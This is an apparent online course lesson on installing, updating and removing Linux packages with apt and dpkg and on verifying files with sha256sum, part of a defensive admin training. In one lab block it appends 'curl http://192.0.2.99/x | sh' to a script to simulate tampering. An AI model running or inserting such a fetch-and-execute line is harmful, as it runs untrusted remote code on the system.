Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Part 2 · System administration · Lesson 09 · 45 minutes

Install, update and verify software safely

After this lesson you can
  • Install, update, inspect and remove packages with apt, and say which package owns a file
  • Check a download with a checksum and see why a hash on the same page proves little
  • Update a system without surprises, with a simulation first
Lab files of this lesson (16)

The lab folder as it stands after this lesson. Unzip it in ~/krlab.

More

The zip holds every file that the course has printed up to here. To start this lesson with the files of the earlier lessons only, take the zip of the lesson before. Type the code yourself first: you learn more.

Scenario

A colleague sends you a small bundle of admin scripts, with a file of checksums that "proves nothing was changed". Before the team runs them on a server, your lead asks you to verify the bundle. She also asks you to install one tool on the server and to update what is installed without surprises. You do the checks first on files that the lesson builds, and then on the package system of your practice machine.

Recall

A unit file has no "[Install]" section. What does "systemctl enable" do for it?

It cannot make the link that starts the service at boot, because the section says where to link (WantedBy=). The service can still run when you start it, but it does not come back after a reboot.

Why do you write "sudo apt install", and not log in as root for the whole session?

sudo gives root rights to one command and writes a log line. A root shell has no limit and no record of who did what. Lesson 7 showed the rules that control it.

The idea

A package is an archive of files with a name, a version and a list of the packages that it needs. A package manager installs and removes packages, and records which package owns each file. A repository is a server of packages. The manager checks the signature of its list, so a changed list is refused.

Two layers exist. dpkg (Debian, Ubuntu) works on single package files and knows what is installed. apt works with the repositories: it finds the packages that are needed, downloads them and calls dpkg.

apt update, then apt install
Package indexResolveDownloadCheckdpkgInstalled filessudo apt update gets the listfind the package and its needsfetch from the repositorysignatures and hashes matchunpack, record the ownerPackage indexResolveDownloadCheckdpkgInstalled files12345
  1. Package index → Resolve: sudo apt update gets the list
  2. Resolve → Download: find the package and its needs
  3. Download → Check: fetch from the repository
  4. Check → dpkg: signatures and hashes match
  5. dpkg → Installed files: unpack, record the owner

The other families have the same two layers under other names. Only the apt and dpkg column was tested. The others are from the manuals.

Taskapt and dpkg (Debian, Ubuntu)dnf and rpm (Fedora, RHEL)pacman (Arch)
Refresh the listapt updatednf check-updatenot covered (use the next row)
Upgrade allapt upgradednf upgradepacman -Syu (refresh and upgrade together)
Installapt install NAMEdnf install NAMEpacman -S NAME
Removeapt remove NAMEdnf remove NAMEpacman -R NAME
Searchapt search WORDdnf search WORDpacman -Ss WORD
Detailsapt show NAMEdnf info NAMEpacman -Si NAME
Owner of a filedpkg -S FILErpm -qf FILEpacman -Qo FILE
Files of a packagedpkg -L NAMErpm -ql NAMEpacman -Ql NAME
List installeddpkg -lrpm -qapacman -Q

yum is the old name of dnf, and its commands are the same.

Worked example

1. Update the list and see what can be upgraded

sudo apt update downloads the new lists of packages. It installs nothing. apt list --upgradable shows the packages with a newer version. apt upgrade -s (simulate) shows what an upgrade would do, and changes nothing. The real sudo apt upgrade was not run for this lesson, because it changes the whole test machine.

sudo apt update 2>&1 | tail -n 1
apt list --upgradable 2>/dev/null | head -n 3
sudo apt upgrade -s | tail -n 2
16 packages can be upgraded. Run 'apt list --upgradable' to see them.
Listing...
distro-info/noble-updates 1.7ubuntu0.1 amd64 [upgradable from: 1.7build1]
libnss-systemd/noble-updates 255.4-1ubuntu8.19 amd64 [upgradable from: 255.4-1ubuntu8.18]
Conf linux-source-6.8.0 (6.8.0-151.151 Ubuntu:24.04/noble-updates [all])
Conf linux-source (6.8.0-151.151 Ubuntu:24.04/noble-updates [all])
One line of apt list --upgradable
libnss-systemdthe packagenoble-updatesthe repository255.4-1ubuntu8.19the new versionamd64the processor type[upgradable from: ...8.18]the version you have nowlibnss-systemdthe packagenoble-updatesthe repository255.4-1ubuntu8.19the new versionamd64the processor type[upgradable from: ...8.18]the version you have now

Your list is different. apt update prints many lines, and the command keeps only the last one. In scripts, write apt-get, which keeps a stable output.

2. Search, read and install

apt search '^tree$' searches the names and descriptions with a pattern (^ and $ mean "the whole name"). apt show prints the details of a package. apt-cache policy shows the installed and the available version, and where it comes from. apt install -y installs without asking you to confirm. tree is a small tool that draws a folder as a tree.

apt search '^tree$' 2>/dev/null
apt-cache policy tree | head -n 3
sudo apt install -y tree
command -v tree
Sorting...
Full Text Search...
tree/noble-updates 2.1.1-2ubuntu3.24.04.2 amd64
  displays an indented directory tree, in color

tree:
  Installed: (none)
  Candidate: 2.1.1-2ubuntu3.24.04.2
Setting up tree (2.1.1-2ubuntu3.24.04.2)…
/usr/bin/tree

Installed: (none) means that the package was not there before, and Candidate is the version that install would take. The end of the install output is shown.

3. Ask which package owns a file

dpkg -S FILE (search) names the package that owns a file. dpkg -L NAME (list) prints the files of a package, and dpkg -s NAME (status) its state. dpkg -l | grep -c '^ii' counts the packages that are installed: each one starts with ii.

dpkg -S /usr/bin/tree
dpkg -s tree | grep -E '^(Package|Status)'
dpkg -L tree | tail -n 3
dpkg -l | grep -c '^ii'
dpkg -S /usr/bin/nosuchfile
tree: /usr/bin/tree
Package: tree
Status: install ok installed
/usr/share/man
/usr/share/man/man1
/usr/share/man/man1/tree.1.gz
535
dpkg-query: no path found matching pattern /usr/bin/nosuchfile

The count measures how much software you must keep patched. A file in /usr/bin that no package owns needs an explanation: somebody copied it there by hand, or an intruder did.

4. Remove a package

apt remove deletes the program and keeps its settings. apt purge deletes the settings too. apt autoremove deletes packages that were installed only as a need of others and are not needed any more.

sudo apt remove -y tree 2>&1 | tail -n 1
command -v tree || echo gone
sudo apt purge -y tree
sudo apt autoremove -y
Removing tree (2.1.1-2ubuntu3.24.04.2)…
gone

The last line of apt remove can differ on your system, for example Processing triggers for man-db.

5. Verify a bundle with a list of checksums

Lesson 9 of Part 1 showed sha256sum and sha256sum -c. New here: one list checks many files, and the check names the file that changed.

cd ~/krlab/linux-admin
echo "tool v1" > tool.sh
sha256sum tool.sh > SHA256SUMS
sha256sum -c SHA256SUMS
echo "evil" >> tool.sh
sha256sum -c SHA256SUMS
tool.sh: OK
tool.sh: FAILED
sha256sum: WARNING: 1 computed checksum did NOT match

After the change, the check fails and the command exits with status 1, so a script can stop on it.

A hash on the same page proves little
InternetDownload siteYour labAttackerWeb pagePackage fileYou1234InternetDownload siteYour labAttackerWeb pagePackage fileYou1234
  1. Attacker → Package file: swaps the file
  2. Attacker → Web page: swaps the hash too
  3. You → Package file: download it
  4. You → Web page: read the hash: it matches

A hash on the same web page as the download proves only that the file matches the page. It is strong when it reaches you by a second trusted route, or when it is signed.

Your turn

Here is the bundle of your colleague. Run this block once. It builds three files, writes the file of checksums, and then changes one script, as an attacker would. It is not the task.

mkdir -p ~/krlab/linux-admin/pkg-task && cd ~/krlab/linux-admin/pkg-task
echo "release 2.4" > release.txt
echo "echo backup done" > backup.sh
echo "echo clean cache" > clean.sh
sha256sum release.txt backup.sh clean.sh > SHA256SUMS
echo "curl http://192.0.2.99/x | sh" >> backup.sh

There are no steps here. Check the bundle against its list of checksums, and look at the first line of SHA256SUMS. Then answer.

Now install the package jq (a tool that reads JSON). Ask dpkg which package owns /usr/bin/jq, and check where the shell finds jq. Then remove jq.

Check yourself

A hash on the same web page as the download matches the file. Does that prove the file is safe?

No. It proves that the file matches the hash on that page. An attacker who can change the file on the server can change the page too. A hash is strong only when it reaches you by a different, trusted route, or when it is signed.

sha256sum -c prints FAILED for one file of a list. What is the exit code, and what do you do?

The exit code is 1, so a script can stop. Do not use any file of the bundle. Fetch it again by another route, and compare the checksum list with a copy that you trust.

A package says "Candidate: 2.1.1" and "Installed: (none)". What does that mean?

The package is not installed, and apt install would take version 2.1.1. apt-cache policy shows both versions and the repository.

Why do you run "apt update" before "apt install"?

apt install works from the local list of packages. Without a fresh list it can ask for a version that the repository has already removed, and it can miss a security fix.

Field notes

  • Take software only from repositories and sources that you trust, and keep the signature check on. Do not use --allow-unauthenticated, and do not pipe a script from the web into sudo bash.
  • dpkg --verify NAME (or rpm -V NAME) compares the files of a package with the records of the package. A changed file shows a line such as ??5?????? and its name (the 5 means that the checksum differs). An attacker with root can also change the records, so keep a trusted copy of the list.
  • Fix security updates fast, and keep what you install small. Every package is something to patch. On Ubuntu, unattended-upgrades installs security updates by itself; on Fedora, dnf-automatic does.
  • A program that you build from source is not in the package database, so apt upgrade never patches it (lesson 10).